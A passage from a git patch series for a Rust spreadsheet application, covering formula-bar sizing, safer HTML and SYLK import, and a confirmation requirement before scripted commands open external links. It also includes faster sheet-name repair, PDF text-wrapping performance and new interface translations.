sheet tabs, column headings and two rows below the bar. Test: ui-egui formula_bar_expand::an_expanded_formula_bar_leaves_room_for_the_worksheet_in_a_short_window. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/formula_bar.rs | 19 +++++++++++++------ crates/ui-egui/tests/it/formula_bar_expand.rs | 14 ++++++++++++++ 2 files changed, 27 insertions(+), 6 deletions(-) diff --git a/crates/ui-egui/src/formula_bar.rs b/crates/ui-egui/src/formula_bar.rs index 9be205a4f..091869ab8 100644 --- a/crates/ui-egui/src/formula_bar.rs +++ b/crates/ui-egui/src/formula_bar.rs @@ -17,6 +17,9 @@ pub const MAX_LINES: usize = 5; pub const MAX_DRAG_LINES: usize = 100; /// How far the bar's bottom edge reaches up into the bar as a resize handle (its bottom margin). const HANDLE: f32 = 4.0; +/// What an expanded bar leaves below it: the status bar (26) and sheet tabs (32), and the +/// worksheet's column headings and two rows, so the grid never disappears in a short window. +const KEEP_BELOW: f32 = 26.0 + 32.0 + crate::grid::COL_HEADER_H + 2.0 * gridcraft_engine::model::DEFAULT_ROW_HEIGHT; /// The bar's height at one line. const ONE_LINE: f32 = 30.0; /// What the bar adds around the field's rows: the panel's margins (3 + 3), the field's (3 + 3) @@ -92,7 +95,7 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { // Height follows the content's line count (last frame's), 1 to MAX_LINES; expanded (the // chevron), it is the height the bottom edge was dragged to. It eases only when that target // changes. - let most = max_lines(ui.ctx().content_rect().height(), row_h); + let most = max_lines(ui.ctx().content_rect().height(), ui.available_rect_before_wrap().height(), row_h); let lines = if app.ui.formula_bar_expanded { app.ui.formula_bar_lines.clamp(1, most) } else { last.lines.clamp(1, MAX_LINES) }; let target = one_line(row_h) + (lines - 1) as f32 * row_h; let h = ui.ctx().animate_value_with_time(egui::Id::unique("formula_bar.height"), target, EASE_SECONDS); @@ -178,11 +181,15 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { ui.ctx().data_mut(|d| d.insert_temp(BarLayout::id(), layout)); } -/// The most lines the bar takes in a window `window_h` tall: half the window, as in Excel, and -/// never fewer than the chevron's [`MAX_LINES`]. -fn max_lines(window_h: f32, row_h: f32) -> usize { - let fit = ((window_h * 0.5 - one_line(row_h)) / row_h).floor(); - if fit.is_finite() && fit > 0.0 { (fit as usize + 1).clamp(MAX_LINES, MAX_DRAG_LINES) } else { MAX_LINES } +/// The most lines the bar takes in a window `window_h` tall with `room` left under the ribbon: +/// half the window, as in Excel (never fewer than the chevron's [`MAX_LINES`]), and no more than +/// leaves [`KEEP_BELOW`] for the status bar, sheet tabs and a few rows of the grid. +fn max_lines(window_h: f32, room: f32, row_h: f32) -> usize { + let lines_in = |h: f32| { + let fit = ((h - one_line(row_h)) / row_h).floor(); + if fit.is_finite() && fit > 0.0 { fit as usize + 1 } else { 1 } + }; + lines_in(window_h * 0.5).clamp(MAX_LINES, MAX_DRAG_LINES).min(lines_in(room - KEEP_BELOW)) } /// The lines a bar whose top is at `top` shows with its bottom edge dragged to `y`, in whole lines. diff --git a/crates/ui-egui/tests/it/formula_bar_expand.rs b/crates/ui-egui/tests/it/formula_bar_expand.rs index cabf7ee70..169107ac7 100644 --- a/crates/ui-egui/tests/it/formula_bar_expand.rs +++ b/crates/ui-egui/tests/it/formula_bar_expand.rs @@ -147,3 +147,17 @@ fn expand_formula_bar_with_lines_sets_the_expanded_height() { assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": 0})), Ok(json!({"on": false, "lines": 8})), "zero lines is one line"); assert_eq!(h.state_mut().run("view.expandFormulaBar", json!({"lines": u64::MAX})), Ok(json!({"on": true, "lines": 100})), "capped"); } + +#[test] +fn an_expanded_formula_bar_leaves_room_for_the_worksheet_in_a_short_window() { + // At 400 pt the title bar and ribbon leave about 236 pt: half the window as a formula bar + // would leave the status bar and sheet tabs no room for any of the grid. + let mut session = Session::new(); + session.new_workbook(); + let mut h = crate::common::harness_with(crate::common::builder().with_size(vec2(1200.0, 400.0)), crate::common::app(session), 4); + h.state_mut().run("view.expandFormulaBar", json!({"lines": 100})).unwrap(); + h.run_steps(60); + let cells = h.state().grid.cells_rect.expect("the grid is drawn"); + assert!(cells.height() >= 40.0, "a couple of rows stay visible under a {} pt bar: {cells:?}", bar(&h).height); + assert!(bar(&h).visible_lines > 1, "the bar is still expanded"); +} From 865a789c73d27b2662562c1319a86bb4dab3c492 Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Tue, 3 Nov 2026 09:59:27 -0500 Subject: [PATCH 279/298] Review fixes for #3223, #3253, #3254, #3252, #3239, #3244 and #3268 - #3223: sniff the first 64 KiB for a web page and skip JSON and files over the text-import cap, so every CSV/TSV is no longer decoded in full before the size check. - #3253: SYLK relative offsets use checked arithmetic (no overflow on R[9223372036854775807]); at most 1024 column-width records are kept; regression test. - #3254: a single selected merged cell searches the whole sheet, as one selected cell does. - #3252: the formula bar's height cap is half the room below the ribbon, not half the window, so the worksheet stays visible in a short window (CodeRabbit Major). - #3239, #3244, #3252, #3268: es/de/cs/zh/ko/ru/pt entries for the new interface strings. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/io.rs | 15 ++++++++++++--- crates/engine/src/io/sylk.rs | 7 ++++++- crates/engine/src/io/tests.rs | 15 +++++++++++++++ crates/ui-egui/src/dialogs/find.rs | 7 ++++++- crates/ui-egui/src/formula_bar.rs | 6 +++--- crates/ui-egui/src/i18n/cs.rs | 10 ++++++++++ crates/ui-egui/src/i18n/de.rs | 10 ++++++++++ crates/ui-egui/src/i18n/es.rs | 10 ++++++++++ crates/ui-egui/src/i18n/ko.rs | 10 ++++++++++ crates/ui-egui/src/i18n/pt.rs | 10 ++++++++++ crates/ui-egui/src/i18n/ru.rs | 10 ++++++++++ crates/ui-egui/src/i18n/zh.rs | 10 ++++++++++ 12 files changed, 112 insertions(+), 8 deletions(-) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 2234d4627..602c17ccd 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -359,16 +359,23 @@ fn part_too_large_message(name: &str, part: &str, size: u64) -> String { ) } +/// How much of a text file is read to tell whether it is a web page. +const HTML_SNIFF_BYTES: usize = 64 << 10; + /// A web page that holds a table, whatever its extension: a web app's "Export to Excel" is often /// HTML saved as `.xls` (#3166). Excel opens its table as a sheet (after warning that the format /// and extension don't match): the cells read like typed input (or as text with `csv_as_text`), /// header cells (``) are bold and centred, and the sheet takes the name the page gives it /// (``) or the file's. `None` when the bytes aren't such a page. fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text: bool) -> Option)>> { - // Decoded as a CSV is (BOM, UTF-8, else Windows-1252/1256), so a legacy page keeps its letters. - let text = gridcraft_xlsx::decode_text(bytes); + // Every other text file (CSV, TSV, JSON) passes through here: look at the start only, and decode + // the whole file once it is known to be a page within the size a text import takes. + if matches!(kind, Some(FileKind::Json)) || bytes.len() > gridcraft_xlsx::MAX_CSV_BYTES { + return None; + } + let start = gridcraft_xlsx::decode_text(bytes.get(..HTML_SNIFF_BYTES).unwrap_or(bytes)); // Comments an exporter writes before the page (``) don't make it something else. - let mut rest = text.trim_start_matches('\u{feff}').trim_start(); + let mut rest = start.trim_start_matches('\u{feff}').trim_start(); while let Some(after) = rest.strip_prefix("").and_then(|end| after.get(end + 3..)) { Some(more) => rest = more.trim_start(), @@ -379,6 +386,8 @@ fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text if ![" Result<(Workbook, Vec)> { @@ -110,6 +112,9 @@ pub fn read(name: &str, bytes: &[u8]) -> Result<(Workbook, Vec)> { (position(first, MAX_COLS), position(last, MAX_COLS), width.parse::()) && first <= last && (0.0..=255.0).contains(&width) + // A file of width records can't make the import loop over every column + // again and again. + && widths.len() < MAX_WIDTH_RECORDS { widths.push((first, last, width)); } @@ -215,7 +220,7 @@ impl Part { fn resolve(self, base: u32, max: u32) -> Option<(u32, bool)> { match self { Part::Absolute(n) => (1..=max).contains(&n).then(|| (n - 1, true)), - Part::Relative(k) => u32::try_from(i64::from(base) + k).ok().filter(|v| *v < max).map(|v| (v, false)), + Part::Relative(k) => i64::from(base).checked_add(k).and_then(|v| u32::try_from(v).ok()).filter(|v| *v < max).map(|v| (v, false)), } } } diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index 0e93be9ee..ae5ea8832 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -746,3 +746,18 @@ fn sylk_rejects_other_files_and_survives_damage() { assert_eq!(sh.value(CellRef::parse("A3").unwrap()), gridcraft_core::Value::Text("1e999".into())); assert_eq!(warnings.len(), 1, "skipped records are reported: {warnings:?}"); } + +#[test] +fn sylk_survives_huge_relative_offsets_and_width_floods() { + // Relative offsets at the edge of i64 fall off the sheet instead of overflowing. + let text = b"ID;P\nC;Y1;X1;K0;ER[9223372036854775807]C\nC;Y2;X1;K0;ER[-9223372036854775808]C[-9223372036854775808]\nE\n"; + assert!(open_bytes("offsets.slk", text).is_ok()); + // Width records over every column, many times over: the import keeps a bounded number. + let mut flood = b"ID;P\n".to_vec(); + for _ in 0..5000 { + flood.extend_from_slice(b"F;W1 16384 12\n"); + } + flood.extend_from_slice(b"C;Y1;X1;K1\nE\n"); + let (wb, _) = open_bytes("widths.slk", &flood).unwrap(); + assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::Number(1.0)); +} diff --git a/crates/ui-egui/src/dialogs/find.rs b/crates/ui-egui/src/dialogs/find.rs index fe7f8ad6c..394cf5211 100644 --- a/crates/ui-egui/src/dialogs/find.rs +++ b/crates/ui-egui/src/dialogs/find.rs @@ -41,7 +41,12 @@ pub(super) fn find(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog) { d.values.insert("wholeCell".into(), json!(whole)); d.values.insert("within".into(), json!(if wb { "workbook" } else { "sheet" })); // As in Excel, a selected range (more than one cell) limits the search on the sheet to it. - let range_selected = app.session.active().is_some_and(|doc| !doc.selection.is_single_cell()); + // One selected cell, merged or not, searches the sheet, as in Excel. + let range_selected = app.session.active().is_some_and(|doc| { + let sel = &doc.selection; + let one_merged = sel.ranges.len() == 1 && doc.wb.active().and_then(|sh| sh.merge_at(sel.current().start)).is_some_and(|m| m == sel.current()); + !sel.is_single_cell() && !one_merged + }); let within = if wb { "workbook" } else if range_selected { diff --git a/crates/ui-egui/src/formula_bar.rs b/crates/ui-egui/src/formula_bar.rs index 9be205a4f..afdf1987b 100644 --- a/crates/ui-egui/src/formula_bar.rs +++ b/crates/ui-egui/src/formula_bar.rs @@ -92,7 +92,7 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { // Height follows the content's line count (last frame's), 1 to MAX_LINES; expanded (the // chevron), it is the height the bottom edge was dragged to. It eases only when that target // changes. - let most = max_lines(ui.ctx().content_rect().height(), row_h); + let most = max_lines(ui.available_rect_before_wrap().height(), row_h); let lines = if app.ui.formula_bar_expanded { app.ui.formula_bar_lines.clamp(1, most) } else { last.lines.clamp(1, MAX_LINES) }; let target = one_line(row_h) + (lines - 1) as f32 * row_h; let h = ui.ctx().animate_value_with_time(egui::Id::unique("formula_bar.height"), target, EASE_SECONDS); @@ -178,8 +178,8 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { ui.ctx().data_mut(|d| d.insert_temp(BarLayout::id(), layout)); } -/// The most lines the bar takes in a window `window_h` tall: half the window, as in Excel, and -/// never fewer than the chevron's [`MAX_LINES`]. +/// The most lines the bar takes when `window_h` is the room left below the ribbon: half of it, +/// so the worksheet keeps the rest, and never fewer than the chevron's [`MAX_LINES`]. fn max_lines(window_h: f32, row_h: f32) -> usize { let fit = ((window_h * 0.5 - one_line(row_h)) / row_h).floor(); if fit.is_finite() && fit > 0.0 { (fit as usize + 1).clamp(MAX_LINES, MAX_DRAG_LINES) } else { MAX_LINES } diff --git a/crates/ui-egui/src/i18n/cs.rs b/crates/ui-egui/src/i18n/cs.rs index c7938ff4d..cae5a12f8 100644 --- a/crates/ui-egui/src/i18n/cs.rs +++ b/crates/ui-egui/src/i18n/cs.rs @@ -335,6 +335,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "Obecné", "Options|Save" => "Uložit", "Show formula bar" => "Zobrazit řádek vzorců", + "Highlight the active cell's row" => "Zvýraznit řádek aktivní buňky", + "Display options for this workbook" => "Možnosti zobrazení pro tento sešit", + "Show horizontal scroll bar" => "Zobrazit vodorovný posuvník", + "Show vertical scroll bar" => "Zobrazit svislý posuvník", + "Show sheet tabs" => "Zobrazit karty listů", + "Edit Hyperlink…" => "Upravit hypertextový odkaz…", + "Edit Hyperlink" => "Upravit hypertextový odkaz", + "Open Hyperlink" => "Otevřít hypertextový odkaz", + "Remove Hyperlink" => "Odebrat hypertextový odkaz", + "Resize formula bar" => "Změnit velikost řádku vzorců", "Enable AutoComplete for cell values" => "Povolit automatické dokončování hodnot buněk", "Save .xlsx workbooks automatically after every change" => "Automaticky ukládat sešity .xlsx po každé změně", "Workbook calculation" => "Výpočet sešitu", diff --git a/crates/ui-egui/src/i18n/de.rs b/crates/ui-egui/src/i18n/de.rs index 97e6460e8..8720d7397 100644 --- a/crates/ui-egui/src/i18n/de.rs +++ b/crates/ui-egui/src/i18n/de.rs @@ -350,6 +350,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "Allgemein", "Options|Save" => "Speichern", "Show formula bar" => "Bearbeitungsleiste anzeigen", + "Highlight the active cell's row" => "Zeile der aktiven Zelle hervorheben", + "Display options for this workbook" => "Optionen für die Anzeige dieser Arbeitsmappe", + "Show horizontal scroll bar" => "Horizontale Bildlaufleiste anzeigen", + "Show vertical scroll bar" => "Vertikale Bildlaufleiste anzeigen", + "Show sheet tabs" => "Blattregisterkarten anzeigen", + "Edit Hyperlink…" => "Link bearbeiten…", + "Edit Hyperlink" => "Link bearbeiten", + "Open Hyperlink" => "Link öffnen", + "Remove Hyperlink" => "Link entfernen", + "Resize formula bar" => "Größe der Bearbeitungsleiste ändern", "Enable AutoComplete for cell values" => "AutoVervollständigen für Zellwerte aktivieren", "Save .xlsx workbooks automatically after every change" => ".xlsx-Arbeitsmappen nach jeder Änderung automatisch speichern", "Workbook calculation" => "Arbeitsmappenberechnung", diff --git a/crates/ui-egui/src/i18n/es.rs b/crates/ui-egui/src/i18n/es.rs index 1db58e0fc..92dc1b34e 100644 --- a/crates/ui-egui/src/i18n/es.rs +++ b/crates/ui-egui/src/i18n/es.rs @@ -337,6 +337,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "General", "Options|Save" => "Guardar", "Show formula bar" => "Mostrar barra de fórmulas", + "Highlight the active cell's row" => "Resaltar la fila de la celda activa", + "Display options for this workbook" => "Opciones de presentación para este libro", + "Show horizontal scroll bar" => "Mostrar barra de desplazamiento horizontal", + "Show vertical scroll bar" => "Mostrar barra de desplazamiento vertical", + "Show sheet tabs" => "Mostrar pestañas de hojas", + "Edit Hyperlink…" => "Modificar hipervínculo…", + "Edit Hyperlink" => "Modificar hipervínculo", + "Open Hyperlink" => "Abrir hipervínculo", + "Remove Hyperlink" => "Quitar hipervínculo", + "Resize formula bar" => "Cambiar el tamaño de la barra de fórmulas", "Enable AutoComplete for cell values" => "Habilitar Autocompletar para valores de celda", "Save .xlsx workbooks automatically after every change" => "Guardar automáticamente los libros .xlsx tras cada cambio", "Workbook calculation" => "Cálculo del libro", diff --git a/crates/ui-egui/src/i18n/ko.rs b/crates/ui-egui/src/i18n/ko.rs index d725d97d1..8e6d0418e 100644 --- a/crates/ui-egui/src/i18n/ko.rs +++ b/crates/ui-egui/src/i18n/ko.rs @@ -426,6 +426,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "일반", "Options|Save" => "저장", "Show formula bar" => "수식 입력줄 표시", + "Highlight the active cell's row" => "활성 셀의 행 강조 표시", + "Display options for this workbook" => "이 통합 문서의 표시 옵션", + "Show horizontal scroll bar" => "가로 스크롤 막대 표시", + "Show vertical scroll bar" => "세로 스크롤 막대 표시", + "Show sheet tabs" => "시트 탭 표시", + "Edit Hyperlink…" => "하이퍼링크 편집…", + "Edit Hyperlink" => "하이퍼링크 편집", + "Open Hyperlink" => "하이퍼링크 열기", + "Remove Hyperlink" => "하이퍼링크 제거", + "Resize formula bar" => "수식 입력줄 크기 조정", "Enable AutoComplete for cell values" => "셀 값에 자동 완성 사용", "Save .xlsx workbooks automatically after every change" => "변경할 때마다 .xlsx 통합 문서를 자동으로 저장", "Workbook calculation" => "통합 문서 계산", diff --git a/crates/ui-egui/src/i18n/pt.rs b/crates/ui-egui/src/i18n/pt.rs index 6a126c055..b2d9b9384 100644 --- a/crates/ui-egui/src/i18n/pt.rs +++ b/crates/ui-egui/src/i18n/pt.rs @@ -416,6 +416,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "Geral", "Options|Save" => "Salvar", "Show formula bar" => "Mostrar barra de fórmulas", + "Highlight the active cell's row" => "Realçar a linha da célula ativa", + "Display options for this workbook" => "Opções de exibição para esta pasta de trabalho", + "Show horizontal scroll bar" => "Mostrar barra de rolagem horizontal", + "Show vertical scroll bar" => "Mostrar barra de rolagem vertical", + "Show sheet tabs" => "Mostrar guias de planilhas", + "Edit Hyperlink…" => "Editar hiperlink…", + "Edit Hyperlink" => "Editar hiperlink", + "Open Hyperlink" => "Abrir hiperlink", + "Remove Hyperlink" => "Remover hiperlink", + "Resize formula bar" => "Redimensionar a barra de fórmulas", "Enable AutoComplete for cell values" => "Habilitar AutoConclusão para valores de célula", "Save .xlsx workbooks automatically after every change" => "Salvar pastas de trabalho .xlsx automaticamente após cada alteração", "Workbook calculation" => "Cálculo da pasta de trabalho", diff --git a/crates/ui-egui/src/i18n/ru.rs b/crates/ui-egui/src/i18n/ru.rs index 351734919..49964ad79 100644 --- a/crates/ui-egui/src/i18n/ru.rs +++ b/crates/ui-egui/src/i18n/ru.rs @@ -426,6 +426,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "Общие", "Options|Save" => "Сохранение", "Show formula bar" => "Показывать строку формул", + "Highlight the active cell's row" => "Выделять строку активной ячейки", + "Display options for this workbook" => "Параметры отображения для этой книги", + "Show horizontal scroll bar" => "Показывать горизонтальную полосу прокрутки", + "Show vertical scroll bar" => "Показывать вертикальную полосу прокрутки", + "Show sheet tabs" => "Показывать ярлычки листов", + "Edit Hyperlink…" => "Изменить гиперссылку…", + "Edit Hyperlink" => "Изменить гиперссылку", + "Open Hyperlink" => "Открыть гиперссылку", + "Remove Hyperlink" => "Удалить гиперссылку", + "Resize formula bar" => "Изменить размер строки формул", "Enable AutoComplete for cell values" => "Включить автозавершение значений ячеек", "Save .xlsx workbooks automatically after every change" => "Автоматически сохранять книги .xlsx после каждого изменения", "Workbook calculation" => "Вычисления в книге", diff --git a/crates/ui-egui/src/i18n/zh.rs b/crates/ui-egui/src/i18n/zh.rs index 42f2c1c6a..550440364 100644 --- a/crates/ui-egui/src/i18n/zh.rs +++ b/crates/ui-egui/src/i18n/zh.rs @@ -418,6 +418,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "常规", "Options|Save" => "保存", "Show formula bar" => "显示编辑栏", + "Highlight the active cell's row" => "突出显示活动单元格所在行", + "Display options for this workbook" => "此工作簿的显示选项", + "Show horizontal scroll bar" => "显示水平滚动条", + "Show vertical scroll bar" => "显示垂直滚动条", + "Show sheet tabs" => "显示工作表标签", + "Edit Hyperlink…" => "编辑超链接…", + "Edit Hyperlink" => "编辑超链接", + "Open Hyperlink" => "打开超链接", + "Remove Hyperlink" => "删除超链接", + "Resize formula bar" => "调整编辑栏大小", "Enable AutoComplete for cell values" => "为单元格值启用记忆式键入", "Save .xlsx workbooks automatically after every change" => "每次更改后自动保存 .xlsx 工作簿", "Workbook calculation" => "工作簿计算", From e12b462b907ff967a557b7e418028b536ac250e7 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Tue, 3 Nov 2026 10:45:50 -0500 Subject: [PATCH 280/298] Port the link.open confirmation check into the merged insert.rs (#2181) Upstream folded cmd/insert/*.rs back into insert.rs, so the merge left the policy check in a file that is no longer compiled. Restore that file to upstream and apply the check in the live open_link. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/insert.rs | 11 ++++++++--- crates/engine/src/cmd/insert/links.rs | 11 +++-------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index e78e80a1b..8e6b826b5 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -1336,9 +1336,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the -/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no -/// dialog; the interactive click asks for confirmation first, in the UI. +/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). +/// An `http`/`https`/`mailto` address is refused too unless the host set +/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so +/// the user opens such links by clicking and confirming, and the UI then calls +/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -1354,6 +1356,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { + if s.link_policy != crate::links::LinkPolicy::Allow { + return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); + } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } diff --git a/crates/engine/src/cmd/insert/links.rs b/crates/engine/src/cmd/insert/links.rs index a20b28678..59a69e6f9 100644 --- a/crates/engine/src/cmd/insert/links.rs +++ b/crates/engine/src/cmd/insert/links.rs @@ -38,11 +38,9 @@ pub(super) fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). -/// An `http`/`https`/`mailto` address is refused too unless the host set -/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so -/// the user opens such links by clicking and confirming, and the UI then calls -/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. +/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the +/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no +/// dialog; the interactive click asks for confirmation first, in the UI. pub(super) fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -58,9 +56,6 @@ pub(super) fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => crate::cmd::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { - if s.link_policy != crate::links::LinkPolicy::Allow { - return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); - } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } From df137b8ee8cd68503681f759f59b4e30b2e0b048 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 10:53:20 -0500 Subject: [PATCH 281/298] xlsx: repair repeated sheet names through a set of assigned names (#3211) Importing a workbook whose sheets share a name rescanned every sheet for every suffix tried, so a file of repeated names opened in cubic time. SheetNames keeps the assigned names and the next suffix per stem. --- crates/xlsx/src/ods.rs | 2 +- crates/xlsx/src/read.rs | 47 +++++++++++++++++++++++----- crates/xlsx/src/tests/sheet_names.rs | 14 +++++++++ 3 files changed, 54 insertions(+), 9 deletions(-) diff --git a/crates/xlsx/src/ods.rs b/crates/xlsx/src/ods.rs index 8415ce395..9b7f0743b 100644 --- a/crates/xlsx/src/ods.rs +++ b/crates/xlsx/src/ods.rs @@ -317,7 +317,7 @@ impl Import { return Err(IoError::TooLarge("ODS contains more than 1024 sheets".into())); } let original = attr(reader, e, TABLE, b"name")?.unwrap_or_default(); - let mut name = crate::read::unique_name(&self.wb, original.trim_matches('\''), self.wb.sheets.len()); + let mut name = crate::read::SheetNames::of(&self.wb).unique(original.trim_matches('\''), self.wb.sheets.len()); if self.wb.check_sheet_name(&name, None).is_err() { name = self.wb.next_sheet_name(); } diff --git a/crates/xlsx/src/read.rs b/crates/xlsx/src/read.rs index 47aaeaa5d..32b87183f 100644 --- a/crates/xlsx/src/read.rs +++ b/crates/xlsx/src/read.rs @@ -1,5 +1,6 @@ //! Reading the workbook part and everything hanging off it. +use std::collections::{HashMap, HashSet}; use std::sync::Arc; use gridcraft_core::{DateSystem, RangeRef}; @@ -306,6 +307,7 @@ pub fn read_xlsx<'a>(bytes: &'a [u8], known_function: Option<&'a dyn Fn(&str) -> let mut file_to_model: Vec> = vec![]; let mut pivot_caches = crate::pivot::CachesIn::new(&wb_xml, &wb_rels); let sheet_els: Vec = wb_xml.child("sheets").map(|s| s.kids("sheet").cloned().collect()).unwrap_or_default(); + let mut names = SheetNames::default(); for (i, se) in sheet_els.iter().enumerate() { let name = se.attr("name").unwrap_or("").to_string(); let rel = se.attr("id").and_then(|id| wb_rels.iter().find(|r| r.id == id)).cloned(); @@ -324,7 +326,7 @@ pub fn read_xlsx<'a>(bytes: &'a [u8], known_function: Option<&'a dyn Fn(&str) -> file_to_model.push(None); continue; } - let name = unique_name(&wb, &name, i); + let name = names.unique(&name, i); let mut sheet = match crate::sheet_read::read_sheet(&mut cx, &rel.target, &name) { Ok(s) => s, Err(IoError::TooLarge(m)) => return Err(IoError::TooLarge(m)), @@ -457,15 +459,44 @@ pub fn read_xlsx<'a>(bytes: &'a [u8], known_function: Option<&'a dyn Fn(&str) -> Ok((wb, cx.report)) } -pub(crate) fn unique_name(wb: &Workbook, name: &str, i: usize) -> String { - let mut base: String = name.chars().filter(|c| !matches!(c, ':' | '\\' | '/' | '?' | '*' | '[' | ']')).take(31).collect(); - if base.trim().is_empty() { - base = format!("Sheet{}", i + 1); +/// The sheet names an import has assigned so far, for repairing repeated ones. +#[derive(Default)] +pub(crate) struct SheetNames { + /// Assigned names, ASCII-lowercased. + taken: HashSet, + /// For each lowercased stem, the next suffix to try: a file full of repeated names would + /// otherwise retry every occupied suffix for every sheet. + next: HashMap, +} + +impl SheetNames { + pub(crate) fn of(wb: &Workbook) -> Self { + SheetNames { taken: wb.sheets.iter().map(|s| s.name.to_ascii_lowercase()).collect(), next: HashMap::new() } } - if wb.sheet_index(&base).is_none() { - return base; + + /// A valid name for the i-th sheet, unique among the names assigned so far, which it joins. + pub(crate) fn unique(&mut self, name: &str, i: usize) -> String { + let mut base: String = name.chars().filter(|c| !matches!(c, ':' | '\\' | '/' | '?' | '*' | '[' | ']')).take(31).collect(); + if base.trim().is_empty() { + base = format!("Sheet{}", i + 1); + } + let name = if self.taken.contains(&base.to_ascii_lowercase()) { + let stem: String = base.chars().take(25).collect(); + let next = self.next.entry(stem.to_ascii_lowercase()).or_insert(2); + let found = (*next..).find(|n| !self.taken.contains(&format!("{stem} ({n})").to_ascii_lowercase())); + match found { + Some(n) => { + *next = n + 1; + format!("{stem} ({n})") + } + None => base, + } + } else { + base + }; + self.taken.insert(name.to_ascii_lowercase()); + name } - (2..).map(|n| format!("{} ({n})", base.chars().take(25).collect::())).find(|n| wb.sheet_index(n).is_none()).unwrap_or(base) } /// Strips a sheet qualifier (`'My Sheet'!$A$1` → `$A$1`). diff --git a/crates/xlsx/src/tests/sheet_names.rs b/crates/xlsx/src/tests/sheet_names.rs index ed1e49e57..37a8b90f7 100644 --- a/crates/xlsx/src/tests/sheet_names.rs +++ b/crates/xlsx/src/tests/sheet_names.rs @@ -35,3 +35,17 @@ fn sheet_ids_survive_a_save() { let (again, _) = crate::read_xlsx(&write_xlsx(&read).unwrap()).unwrap(); assert_eq!(again.sheets.iter().map(|s| s.file_id).collect::>(), ids); } + +/// Repairing repeated names takes one set lookup per candidate, so thousands of sheets sharing +/// a name are renamed without rescanning the workbook for every suffix tried. +#[test] +fn repeated_sheet_names_are_repaired_without_rescans() { + let mut names = crate::read::SheetNames::default(); + assert_eq!(names.unique("Data", 0), "Data"); + assert_eq!(names.unique("data", 1), "data (2)"); + assert_eq!(names.unique("", 2), "Sheet3"); + assert_eq!(names.unique("Data (3)", 3), "Data (3)"); + for i in 4..100_000 { + assert_eq!(names.unique("Data", i), format!("Data ({i})")); + } +} From a30522928729068a56013c7a84950b31a79c6b11 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 16:11:47 -0500 Subject: [PATCH 282/298] PDF export: wrap text with running widths (#3208) wrap_lines split an over-long word by re-measuring and copying the rest of the word for every piece it cut, and only checked its line limit once the word was done, so one long word in a narrow text box cost word length x pieces. Each new word also re-measured the whole line built so far. Line and piece widths are now running sums of glyph widths (the same sum text_width makes), so every character is measured once, and the line limit is checked while a word is being split. The lines produced are unchanged; a test compares them with the old wrapper. --- crates/engine/src/cmd/print/tests.rs | 73 ++++++++++++++++++++++++++++ crates/engine/src/cmd/print/text.rs | 63 +++++++++++++++--------- 2 files changed, 112 insertions(+), 24 deletions(-) diff --git a/crates/engine/src/cmd/print/tests.rs b/crates/engine/src/cmd/print/tests.rs index cd25606b9..26fca1937 100644 --- 